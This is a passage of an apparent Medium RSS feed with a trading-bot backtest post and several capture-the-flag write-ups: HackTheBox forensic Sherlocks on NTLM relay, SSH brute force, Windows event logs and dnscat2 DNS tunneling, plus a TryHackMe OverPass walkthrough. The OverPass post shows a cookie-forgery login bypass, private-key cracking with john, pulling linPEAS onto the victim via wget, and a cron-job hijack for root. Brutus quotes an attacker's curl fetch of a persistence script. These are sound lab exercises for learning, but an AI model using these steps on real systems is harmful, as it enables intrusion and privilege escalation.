preview the result<br>print(df[[&quot;Close&quot;, &quot;RSI&quot;]].tail(10))</pre><h4>Step 3: Simple RSI Strategy with Trade Simulation</h4><p>The logic is simple: <strong><em>RSI over 70 = Sell | RSI under 30 = Buy</em></strong></p><p>This forms the foundation of my first trading strategy.</p><p>But I didn’t want to just generate buy/sell signals — I wanted to <strong>simulate real trades</strong>, track <strong>profit and loss</strong>, and store them for analysis. This would help me understand how well the strategy actually performs.</p><p>The code is simple, it will start with in position false then it will enter trade if RSI is below 30 and logs the entry time or price. The trade will be held until RSI is above 70, then it will exit the trade, calculate the profit and loss then logs it and appends it to the trading list</p><p>The script starts with in_position = False — meaning I&#39;m not holding any asset yet. If the <strong>RSI drops below 30</strong>, I simulate a <strong>buy</strong> and log the entry time and price. I hold the trade until the <strong>RSI goes above 70</strong>, then I <strong>sell</strong>, calculate the <strong>profit/loss</strong>, and log it. Each completed trade is stored in a list for later review and analysis.</p><p>The core idea is to buy during <strong>oversold conditions</strong>, hold through consolidation, and sell during <strong>overbought conditions</strong> — a very basic momentum reversal strategy.</p><p>I want to test and validate one indicator before combining multiple tools. But in the future (maybe next episode), I plan to improve the logic by:</p><ul><li>Adding a <strong>second indicator</strong> like <strong>MACD</strong> for confirmation</li><li>Including <strong>cooldown periods</strong>, <strong>stop-loss logic</strong>, or <strong>volume filters</strong></li></ul><pre>in_position = False  # Track if I&#39;m currently in a trade<br>trades = []          # Store all completed trades<br><br>for i in range(1, len(df)):<br>    rsi = df[&quot;RSI&quot;].iloc[i]<br>    price = df[&quot;Close&quot;].iloc[i]<br>    time = df.index[i]<br><br>    if not in_position and rsi &lt; 30:<br>        # Buy signal<br>        entry_price = price<br>        entry_time = time<br>        in_position = True<br><br>    elif in_position and rsi &gt; 70:<br>        # Sell signal<br>        exit_price = price<br>        exit_time = time<br>        pnl = (exit_price - entry_price) / entry_price  # % gain/loss<br>        trades.append({<br>            &quot;Entry Time&quot;: entry_time,<br>            &quot;Exit Time&quot;: exit_time,<br>            &quot;Entry Price&quot;: entry_price,<br>            &quot;Exit Price&quot;: exit_price,<br>            &quot;PnL %&quot;: pnl * 100<br>        })<br>        in_position = False</pre><h4>step 4: Turning Trades into a DataFrame</h4><pre>trades_df = pd.DataFrame(trades)<br>print(trades_df)</pre><p>on this day it seems that only 1 Trade was done and the result is a loss</p><h3><strong>Results</strong></h3><p>When I ran the backtest on the <strong>15-minute timeframe</strong>, I expected the RSI strategy to at least match buy-and-hold — but to my surprise, the results showed the opposite:</p><ul><li><strong>Buy &amp; Hold</strong> had a <strong>steadier upward curve</strong></li><li>The <strong>RSI strategy</strong> actually lost value over time</li></ul><p>At first, this was disappointing. But instead of giving up, I decided to try something different.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Mwc-UET_vQNki1UQwI_aWg.png" /></figure><p>I re-ran the exact same strategy, but this time on a <strong>5-minute chart</strong>.</p><ul><li>The <strong>RSI strategy</strong> performed <strong>significantly better</strong></li><li>It <strong>outpaced buy-and-hold</strong></li><li>The equity curve was <strong>smoother and consistently upward</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nBYjB7-0OgjhIAkXVttq_A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1018/1*aPaQDIIUVk1m5CLnSjgUIQ.png" /></figure><h3><strong>What I Learned</strong></h3><ul><li><strong>Timeframe matters a lot</strong>. A strategy that fails on one timeframe may thrive on another. Never assume — always test.</li><li><strong>Backtesting is your best friend</strong>. It saved me from relying on a bad setup and showed me what works.</li><li><strong>Start simple, then iterate.</strong> My RSI-only strategy is just a starting point. The next step? Combine it with a second indicator — maybe <strong>MACD</strong> — to reduce false signals and improve confirmation.</li></ul><h3>Conclusion</h3><p>This was just the beginning. In the next episode, I’ll expand this RSI strategy by combining it with another momentum indicator: **MACD**. The goal? To filter out false signals and build a smarter, more reliable trading bot.</p><p>&gt; If you’re interested in learning how I improve this system — and eventually go live — follow along for the next post in the **Zero to Quant** series.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=35ca9c248a54" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Reaper]]></title>
            <link>https://medium.com/@AtomicScript/reaper-1b68808ead37?source=rss-c728a38d36c4------2</link>
            <guid isPermaLink="false">https://medium.com/p/1b68808ead37</guid>
            <category><![CDATA[ntlm-relay-attack]]></category>
            <category><![CDATA[difr]]></category>
            <category><![CDATA[network-forensics]]></category>
            <category><![CDATA[htb]]></category>
            <category><![CDATA[hackthebox]]></category>
            <dc:creator><![CDATA[Genshi]]></dc:creator>
            <pubDate>Sun, 18 Aug 2024 18:33:25 GMT</pubDate>
            <atom:updated>2024-08-18T18:33:25.522Z</atom:updated>
            <content:encoded><![CDATA[<p>Sherlock HackTheBox</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*o9zdAacyPKUguoQrMh3MTA.png" /></figure><h3>Sherlock Scenario</h3><p>Our SIEM alerted us to a suspicious logon event which needs to be looked at immediately . The alert details were that the IP Address and the Source Workstation name were a mismatch .You are provided a network capture and event logs from the surrounding time around the incident timeframe. Corelate the given evidence and report back to your SOC Manager.</p><p><strong>Tools:</strong></p><p><a href="https://app.hackthebox.com/sherlocks/Reaper">Hack The Box</a></p><p>The challenges requires a zip file to be downloaded, after extracting the content i found two files ‘.pcap’ and ‘.evtx’. We can use wireshark to view the packet captured to investigate it. evtx on the other hand is a windows event log file that&#39;s being used by windows OS to store system, security and application event logs.</p><blockquote>I will be using my kali machine to analyze the pcap while windows machine event viewer to analyze the event log If you know a better way please email me or comment I&#39;m here to learn.</blockquote><h3>About EVTX File extensions</h3><p>We have extracted the files and they call are ‘evtx’ extensions.</p><p>These files are log files created by Windows 7 event viewer that contains list of events.</p><p><strong>Things to keep in mind regarding the files downloaded:</strong></p><ul><li><strong>System </strong>— Logs created by the operating system</li><li><strong>Security </strong>— Logs related to logins, privileges, and other similar events</li><li><strong>Windows Defender-Operationa</strong>l — antivirus related event</li><li><strong>Windows Firewall-Firewall</strong> — Firewalls related rules event</li><li><strong>Powershell-Operational</strong> — Powershell event executation</li></ul><h3>About NTLM Attacks</h3><p>Its a type of man in the middle attack that targets the NTLM authentication protocol used in windows environment. We are expecting to see a relay from the attacker of a NTLM authentication message to the server to gain unauthorized access to network.</p><h3>Task 1: What is the IP Address for Forela-Wkstn001?</h3><p>When opening wireshark, the first packet shows that there was a DHCP request from Forela-Wkstn001. The source of the packet is the IP address of the Forela-Wkstn00.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*O8DCjUW-xmnnavlQYEFm-g.png" /></figure><h3>Task 2: What is the IP Address for Forela-Wkstn002?</h3><p>We can find the IP address of the Forela-Wkstn002 by simply using he ‘find next packet’ under edit and changing the case sensitivity to String. You can copy ‘Forela-Wkstn002’ to the search field and press enter. The source packet is the IP address of the Forela-Wkstn002</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SEXnJifTdEm9zdcsuDT3Sg.png" /></figure><h3>Task 3: Which user account’s hash was stolen by attacker?</h3><p>For this we know that Forela-Wkstn001 and Forela-Wkstn002 are computer names not User account named. If the attacker stole the user’s hash then they must have used it to log into the system and the secruity log in Security.evtx would capture it!</p><p>In the Security Logs, there was an event categorized as file share. Subject username is Arthur Kyle using he computer Forela-Wkstn001 however the IP address is different than the IP address we found in Task 1</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xyJuO1NsPWozf81GRXf2Pg.png" /></figure><h3>Task 4: What is the IP Address of Unknown Device used by the attacker to intercept credentials?</h3><p>During the previous step, we found the IP address of Arthur Kyle that we tagged as suspicious.</p><h3>Task 5: What was the fileshare navigated by the victim user account?</h3><p>The question is asking to identify specific network file share or shared folder that the victim user accessed or interacted with. I came across a file called \\DC01\Trip when checking wireshark.</p><p>it seems that the Forela-Wkstn002 tried to connect to it but it resulted in an error.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uwY9sXU9cfz0FCQxEEkTEQ.png" /></figure><h3>Task 6: What is the source port used to logon to target workstation using the compromised account?</h3><p>The answer can be found in task 3 when we found the stolen hash.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xyJuO1NsPWozf81GRXf2Pg.png" /></figure><h3>Task 7: What is the Logon ID for the malicious session?</h3><p>The answer can be found in task 3 when we found the stolen hash.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xyJuO1NsPWozf81GRXf2Pg.png" /></figure><h3>Task 8: The detection was based on the mismatch of hostname and the assigned IP Address. What is the workstation name and the source IP Address from which the malicious logon occur?</h3><p>we already know the source IP address that was used to login by arthur Kyle which is 172.17.79.135 however comparing it with the wireshark logs we notice that</p><p>The mismatching is happening due to the NTLM relay attack</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3kvtf7uJMR3UA-OuhULFAQ.png" /></figure><h3>Task 9: When did the malicious logon happened. Please make sure the timestamp is in UTC?</h3><p>The answer can be found in task 3 when we found the stolen hash.</p><p>2024–07–31 04:55:16</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xyJuO1NsPWozf81GRXf2Pg.png" /></figure><h3>Task 10: What is the share Name accessed as part of the authentication process by the malicious tool used by the attacker?</h3><p>The answer can be found in task 3 when we found the stolen hash.<br>\\*\IPC$</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xyJuO1NsPWozf81GRXf2Pg.png" /></figure><blockquote><strong>This was fun.. until next time.</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*54IFVtMAPxIfAMM9it119g.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1b68808ead37" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Brutus]]></title>
            <link>https://medium.com/@AtomicScript/brutus-7bbf002bddb0?source=rss-c728a38d36c4------2</link>
            <guid isPermaLink="false">https://medium.com/p/7bbf002bddb0</guid>
            <category><![CDATA[hackthebox-challenge]]></category>
            <category><![CDATA[digital-forensics]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[technology]]></category>
            <category><![CDATA[htb]]></category>
            <dc:creator><![CDATA[Genshi]]></dc:creator>
            <pubDate>Tue, 07 May 2024 03:15:52 GMT</pubDate>
            <atom:updated>2024-05-07T03:15:52.930Z</atom:updated>
            <content:encoded><![CDATA[<h4>HackTheBox Sherlocks</h4><h3>Scenario</h3><p>In this very easy Sherlock, you will familiarize yourself with Unix auth.log and wtmp logs. We’ll explore a scenario where a Confluence server was brute-forced via its SSH service. After gaining access to the server, the attacker performed additional activities, which we can track using auth.log. Although auth.log is primarily used for brute-force analysis, we will delve into the full potential of this artifact in our investigation, including aspects of privilege escalation, persistence, and even some visibility into command execution.</p><p><strong>Tools</strong>: None</p><p><a href="https://app.hackthebox.com/sherlocks/Brutus">Hack The Box</a></p><h3>Introduction:</h3><p><strong>Auth.log :</strong> Authentication log that keeps track of login attempts successful or not into the system. We an check whose accessing the system and if there was an unauthorized attempts to get in</p><p><strong>Wtmp: </strong>Who logged in and keeps track of all users currently logged into the system, when they logged in when they logged out to track user activities and unusual login pattern</p><p><strong>Difference:</strong></p><p>Auth Log keeps track on attempts whether successful or not while wtmp keeps track on who&#39;s already in</p><h3>Task 1:</h3><blockquote>Analyzing the auth.log, can you identify the IP address used by the attacker to carry out a brute force attack?</blockquote><p>After opening auth.log, I quickly noticed a session opened by user cyberjunkie SSH with a weird port.</p><h3>Task 2:</h3><blockquote>The brute force attempts were successful, and the attacker gained access to an account on the server. What is the username of this account?</blockquote><p>Went through the Brute Force SSH output message about the failed password till I reached ‘Accepted password for root’!</p><pre>cat auth.log | grep &#39;Accepted&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*j0IHnRmDHRwbTS_nEJKQRg.png" /></figure><h3>Task 3</h3><blockquote>Can you identify the timestamp when the attacker manually logged in to the server to carry out their objectives?</blockquote><p>We know they logged as root, then created their own user and group. After the attacker logged in as the newly created user ‘cyberjunkie’ and installed linper.sh on the victim machine</p><p>For this, I learnt a new command ‘WHO’ and ‘utmpdump’ to get more information from the wtmp file. Considering that the question is to get the manually logged into the server it wouldn&#39;t be ‘cyberjunkie’.</p><pre>who wtmp<br><br>utmpdump wtmp</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*4hzrx27WLju8iswPMpvRDg.png" /></figure><h3>Task 4</h3><blockquote>SSH login sessions are tracked and assigned a session number upon login. What is the session number assigned to the attacker’s session for the user account from Question 2?</blockquote><pre>cat auth.log | grep &#39;New session&#39;6<br></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wTLa0LCuLVkg8gUvf7skTg.png" /></figure><h3>Task 5:</h3><blockquote>The attacker added a new user as part of their persistence strategy on the server and gave this new user account higher privileges. What is the name of this account?</blockquote><p>cyberjunkie</p><h3>Task 6:</h3><blockquote>What is the MITRE ATT&amp;CK sub-technique ID used for persistence?</blockquote><p>I did find ‘create account’ in persistence which explains what happened to stay logged in and log back whenever the user wants.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/947/1*OfHx5_ozfZuw11ZxBQ19wg.png" /></figure><h3>Task 7:</h3><blockquote>How long did the attacker’s first SSH session last based on the previously confirmed authentication time and session ending within the auth.log? (seconds)</blockquote><p>We know that the first session happened at 6:32:44 and it was disconnected on 06:37:24 so whats the second difference? even though i calculated 280 seconds the answer was 279</p><h3>Task 8:</h3><blockquote>The attacker logged into their backdoor account and utilized their higher privileges to download a script. What is the full command executed using sudo?</blockquote><p>/usr/bin/curl <a href="https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh">https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jgIqqceZ5PCIKI6DlxPj8g.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7bbf002bddb0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[LogJammer]]></title>
            <link>https://medium.com/@AtomicScript/logjammer-435ad4e596aa?source=rss-c728a38d36c4------2</link>
            <guid isPermaLink="false">https://medium.com/p/435ad4e596aa</guid>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[logjammer]]></category>
            <category><![CDATA[windows-event-viewer]]></category>
            <dc:creator><![CDATA[Genshi]]></dc:creator>
            <pubDate>Sat, 13 Jan 2024 13:19:00 GMT</pubDate>
            <atom:updated>2024-01-13T13:19:00.444Z</atom:updated>
            <content:encoded><![CDATA[<h4>Sherlock HackTheBox</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/468/1*EErq4b5s_tzsC_ud-FcP1w.png" /></figure><h3><strong>Scenario</strong></h3><p><em>You have been presented the opportunity to work as a junior DFIR consultant for a big consultancy, however they have provided a technical assessment for you to complete. The consultancy Forela-Security would like to gauge your knowledge on Windows Event Log Analysis. Please analyse and report back on the questions they have asked.</em></p><p><a href="https://app.hackthebox.com/sherlocks/Logjammer">Hack The Box</a></p><p><strong>Tools </strong>: event viewer on windows 10</p><h3>EVTX File extensions</h3><p>We have extracted the files and they call are ‘evtx’ extensions.</p><p>These files are log files created by Windows 7 event viewer that contains list of events.</p><p><strong>Things to keep in mind regarding the files downloaded:</strong></p><ul><li><strong>System </strong>— Logs created by the operating system</li><li><strong>Security </strong>— Logs related to logins, privileges, and other similar events</li><li><strong>Windows Defender-Operationa</strong>l — antivirus related event</li><li><strong>Windows Firewall-Firewall</strong> — Firewalls related rules event</li><li><strong>Powershell-Operational</strong> — Powershell event executation</li></ul><h3><strong>Task 1:</strong></h3><blockquote><em>When did user cyberjunkie successfully log into his computer? (UTC)</em></blockquote><p>We can check the security event viewer to find the log in attemp. We found the exact date but we need to change it to convert it to UTC 24 hours and reformat it before submitting</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1020/1*16uWpMwzSvAMBuXarGHTiw.png" /></figure><p><a href="https://dateful.com/convert/utc">Dateful Time Zone Converter</a></p><h3>Task 2:</h3><blockquote>The user tampered with firewall settings on the system. Analyze the firewall event logs to find out the Name of the firewall rule added?</blockquote><p>For this we can open the firewall file and check from the most recent one. We can find that the last change was adding adding the metasploit C2 Bypass</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/852/1*RXjQ5Lea3juTUSI5Eix5HQ.png" /></figure><h3>Task 3:</h3><blockquote>Whats the direction of the firewall rule?</blockquote><p>We can see from the event of the most recent added rule tht the firection is outbound</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/852/1*RXjQ5Lea3juTUSI5Eix5HQ.png" /></figure><h3>Task 4:</h3><blockquote>The user changed audit policy of the computer. Whats the Subcategory of this changed policy?</blockquote><p>By filter the task category in the security event we can find the system audit policy was changed and the subcategory is displayed there</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/726/1*n3qct_4zDtdT_ICGWxKeMA.png" /></figure><h3>Task 5:</h3><blockquote>The user “cyberjunkie” created a scheduled task. Whats the name of this task?</blockquote><p>We can check the events in security for scheduled tasks making sure that the account name is ‘CyberJunkie’. With this we were able to find the tasks name of the scheduled tasks</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/848/1*rk-PCOtvE1Zj2DclKHdOJg.png" /></figure><h3>Task 6:</h3><blockquote>Whats the full path of the file which was scheduled for the task?</blockquote><p>We can find the file path when scrolling down for more information.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/895/1*lSY7lgC2oaODwzRTa0Mmog.png" /></figure><h3>Task 7:</h3><blockquote>What are the arguments of the command?</blockquote><p>We can find the aruhument from the previous step under the command “file path”</p><h3>Task 8:</h3><blockquote>The antivirus running on the system identified a threat and performed actions on it. Which tool was identified as malware by antivirus?</blockquote><p>In the windows defender event viewer file we can find a warning that the sharphound file was detected as malicous by the antivirus</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xdE4ccwg-YzVzCkVP6eFXw.png" /></figure><h3>Task 9:</h3><blockquote>Whats the full path of the malware which raised the alert?</blockquote><p>The details of the warning from the previous file shows the file path that was can use as the answer for this task</p><h3>Task 10:</h3><blockquote>What action was taken by the antivirus?</blockquote><p>We can find the action taken by checking the events after the warning. The antivirus seems to Quarantine the malware.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*C36F3PJVuwMK4alZJhaEjA.png" /></figure><h3>Task 11:</h3><blockquote>The user used Powershell to execute commands. What command was executed by the user?</blockquote><p>in the Powershell-Operational event viewer file, we can find the command that the user executed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/736/1*pyJJsNR0DqIPt9EYW2IKYg.png" /></figure><h3>Task 12:</h3><blockquote>We suspect the user deleted some event logs. Which Event log file was cleared?</blockquote><p>Within the system event viewer, we can find that the The Microsoft-Windows-Windows Firewall With Advanced Security/Firewall log file was cleared.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1011/1*r2vJkwqrLeNTlwLtWjBrmw.png" /></figure><h3>Pwned</h3><blockquote><em>This was fun.. until next time.</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/681/1*e3-YQ9rkl6sM7RQG215QHA.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=435ad4e596aa" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Litter HackTheBox]]></title>
            <link>https://medium.com/@AtomicScript/litter-a2f7e125e921?source=rss-c728a38d36c4------2</link>
            <guid isPermaLink="false">https://medium.com/p/a2f7e125e921</guid>
            <category><![CDATA[wireshark]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[litter]]></category>
            <category><![CDATA[dns]]></category>
            <dc:creator><![CDATA[Genshi]]></dc:creator>
            <pubDate>Sun, 24 Dec 2023 14:11:19 GMT</pubDate>
            <atom:updated>2023-12-24T17:07:53.831Z</atom:updated>
            <content:encoded><![CDATA[<h4>Sherlock HackTheBox</h4><p>Khalid has just logged onto a host that he and his team use as a testing host for many different purposes, it’s off their corporate network but has access to lots of resources in network. The host is used as a dumping ground for a lot of people at the company but it’s very useful, so no one has raised any issues. Little does Khalid know; the machine has been compromised and company information that should not have been on there has now been stolen — it’s up to you to figure out what has happened and what data has been taken.</p><p><a href="https://app.hackthebox.com/sherlocks/Litter">Hack The Box</a></p><p>Tools: <strong>Wireshark</strong></p><h3>Task 1:</h3><blockquote>At a glance, what protocol seems to be suspect in this attack?</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1RscIgKRykndPAIeBslMgQ.png" /></figure><p>After downloading the zip, unzipping it and opening it with wireshark, we can see a lot of DNS traffic.</p><h3>Task 2:</h3><blockquote>There seems to be a lot of traffic between our host and another, what is the IP address of the suspect host?</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8Qsmn_WdgyKJKUIespi78w.png" /></figure><p>While checking each IP address in the we can see that the IP address [192.168.157.254] from [192.168.157.145] to download an easy list and a lot of CNAME, MX, and others. The suspect host IP Address is : [192.168.157.145]</p><h3>Task 3:</h3><blockquote>What is the first command the attacker sends to the client?</blockquote><p>For this question, we have to copy the hex before the domain and decrypt it using cyberchef to get the answer like the below example</p><p>We can first search for the ip address of the suspicious IP, and then follow UDP stream. Once that is done we can copy the values highlighted below and paste it into cyberchef</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/765/1*mPYBZgwhf8hpB-ZM-hpyDg.png" /></figure><p>On cyberchef, we just have to decrypt from Hex and Boom we get the decrypted text</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yWKtxjyuHv_rlDpDzac_qQ.png" /></figure><p>The rest of the values seem too short to be command so we can look for the first longest value we see to read it and check if it contains a command</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ENo05GIIM8_OWbfEIhOyRQ.png" /><figcaption>First longest value we come across off</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gkarvTLhiO71MLZ0tbleoQ.png" /><figcaption>Decrypting the longest value</figcaption></figure><p>With that we have the first command</p><h3>Task 4:</h3><blockquote>What is the version of the DNS tunneling tool the attacker is using?</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/497/1*24zphL34teT-_jvftWtd1w.png" /></figure><p>For simplicity, we can copy all the communication from follow UDP stream and paste it into cyberchef to analyze it. With that we can find a suspicious file dnscat2-v0.07-client that includes the version number in its name.</p><h3>Task 5:</h3><blockquote>The attackers attempts to rename the tool they accidentally left on the clients host. What do they name it to?</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gfnqSKSFSh6Qk2DfUnyL2A.png" /></figure><p>We can use the find ‘ren’ [windows command for rename] on the decrypted hex to see what it was renamed</p><h3>Task 6:</h3><blockquote>The attacker attempts to enumerate the users cloud storage. How many files do they locate in their cloud storage directory?</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/737/1*w1vZFZIknFK-RzUICv-mNg.png" /></figure><p>There are 2 directories but 0 files in the OneDrive (cloud storage directory)</p><h3>Task 7:</h3><blockquote>What is the full location of the PII file that was stolen?</blockquote><p>While analyzing the files that contain the PII to mark them for counting, we can find the packet that has different length than the PII in which the attacked downloaded the csv file containing the users info</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1XlmATgviIxVwiJcHptKxg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/844/1*UuR8TJPsHqU4u8ttgwT4Zw.png" /></figure><h3>Task 8:</h3><blockquote>Exactly how many customer PII records were stolen?</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wM9BYK3GfnUvJ_3v5zntrQ.png" /></figure><p>For the last question all we have to do is scroll to the last PII stolen, check the number and increment it by one (the count started at 0). The last PII identifier was 720 so the number of customers are 721 !</p><h3>Pwned</h3><blockquote>This was fun.. until next time.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/703/1*ITtQzRJ86WSKtOef9Te1aw.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a2f7e125e921" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[OverPass — TryHackMe]]></title>
            <link>https://medium.com/@AtomicScript/overpass-tryhackme-cf05fd19090b?source=rss-c728a38d36c4------2</link>
            <guid isPermaLink="false">https://medium.com/p/cf05fd19090b</guid>
            <category><![CDATA[cookie-manipulation]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[Genshi]]></dc:creator>
            <pubDate>Sat, 23 Dec 2023 13:08:34 GMT</pubDate>
            <atom:updated>2023-12-23T13:08:34.609Z</atom:updated>
            <content:encoded><![CDATA[<h3>OverPass</h3><p><em>What happens when some broke CompSci students make a password manager?</em></p><p><a href="https://tryhackme.com/room/overpass">Overpass</a></p><blockquote>Tool used: <strong>Nmap</strong>, <strong>Gobuster</strong>, <strong>Burp</strong>, <strong>ssh2John</strong>, <strong>john</strong>, <strong>linPEAS</strong></blockquote><p>After running Nmap scan I opened the browser searching the machine’s IP address. This lands me up to a homepage website and found two directory: <strong>About me</strong> and <strong>download</strong> page. I checked the source of the homepage but i found nothing interesting.</p><h3>GoBuster</h3><p>Since nothing really stuck out i decided to use GoBuster to check if there are other directories. I used common word list from dirb as the word list. After running GoBuster i find the <strong>/admin</strong> directory, it was an admin login page i tried the default admin username and password but it did not work</p><pre>gobuster dir -u &lt;url&gt; -w &lt;wordlist&gt;</pre><h3>Burp Intruder</h3><p>I will be attempting to use Burp intruder to automate the brute forcing of the admin login. I have never used Burp Intruder so this will be a new experience for me.</p><p>Reading through the login.js i see that it reads the status of the cookie. If the cookie shows <em>incorrect credentials</em> it wont login but if the cookie is set to be Session Token it will allow me to login. Meaning that Bruteforcing might not be needed to bypass the login. Because of the <em>IF statement</em> if i changed the cookie to anything but ‘incorrect credentials’ i will be able to bypass the login.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/678/1*ixacQnPKzgpqwi4rGlkJgQ.png" /></figure><p>I went back to the browser opened the inspect so i can use the console there to set the cookie as ‘AtomicScript’ and After refreshing the page i get a private key that i believe needs to be decrypted.</p><pre> //javascript setting cookie:<br> Cookies.set(&quot;SessionToken&quot;,&#39;AtomicScript&#39;)</pre><h3>John</h3><p>After refreshing the page I landed into a page that had a private RSA key of someone named James. In order for me to crack the private key I need to do the following:</p><ol><li>use ssh2john to get the hash of the private key</li><li>use John to crack the hash with a rockyou word list</li></ol><p>I copied the Private RSA key into a file in my directory so i can use ssh2john with the following command:</p><pre># Used ssh2John to get the hash<br>python ssh2john.py id_rsa &gt; id_rsa.hash<br><br># Used John to get the password from the hash<br>sudo john id_rsa.hash -wordlist=/usr/share/wordlists/rockyou.txt</pre><p><a href="https://m0053sec.wordpress.com/2020/02/08/using-john-ssh2john-to-crack-a-id_rsa-private-key/">Using JOHN &amp;amp; SSH2JOHN to crack a id_rsa private key</a></p><h3>SSH</h3><p>With that I found the password! I went back to the admin page and tried it with the username James but it say incorrect credential. I was hoping it would work. I used the below command to ssh with the id_rsa I found and passed the password as the phrase.</p><pre># SSH as james<br>ssh -i id_rsa james@[ip-address]</pre><h3>Privilege Escalation</h3><p>Now that I logged in as a normal I need to escalate my privilege to fully complete the challenge. I found two files one containing the first key and the second contains a to do list, it mentions that a password is in the password manager. I dont have access to tryhackme home directory sadly.</p><h3>LinPEAS</h3><p>linPEAS performs Privilege escalation in the victim machine, and I wanted to try it to escalate my Privilege and learn on how the script work.</p><p><a href="https://blog.cyberethical.me/linpeas">Linux local Privilege Escalation Awesome Script (linPEAS) analysis</a></p><ol><li>Downloaded the script file in the directory I was working on</li></ol><pre>wget https://raw.githubusercontent.com/carlospolop/privilege-escalation-awesome-scripts-suite/master/linPEAS/linpeas.sh -O linpeas.sh</pre><p>2. Used python to host a web server</p><pre>python3 -m http.server</pre><p>3. Used the Terminal with the remote connection to the machine to download the script in the <strong>TMP</strong> Directory. Any directory wont work it will show as bad permission.</p><pre>wget http://[myip]:[port]/linpeas.sh</pre><p>4. Made sure that the script has the permission to execute and ran it.</p><pre>chmod 777 linpeas.sh</pre><p>I used a <a href="https://0xnirvana.medium.com/tryhackme-overpass-90abe32320a1">guide</a> to understand what is needed to look for and what is needed done to gain access to the root or to find the flag.</p><h4>CronTab</h4><p>The trick was in the cron tab. The Crontab curls the buildscript.sh from the overpass.thm and sends the result to the bash as the root. From my understanding if I got access to editing the buildscript and the crontab runs it as root I would technically have access to anything as root.</p><p>I used the command cat /etc/hosts to find out about the overpass.thm. It was there with the local host now if i modified the ip address associated with the overpass.thm and changed it to be my own ip address, then the machine would think Im overpass.thm.</p><pre>cat /etc/hosts</pre><p>The only problem now is that it would be looking for the buildscript.sh in my own machine and it wont find it. I created the script with the command <em>cat /root/root.txt &gt; /tmp/flag</em>. Now i went back to the ssh connection and created the flag file since that does not exists. I went back and hosted the http server in the parent directory of the download/src and waited for the cron to do its job. After getting the <em>200</em> status I checked the flag file and it worked!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=cf05fd19090b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[LazyAdmin — TryHackMe]]></title>
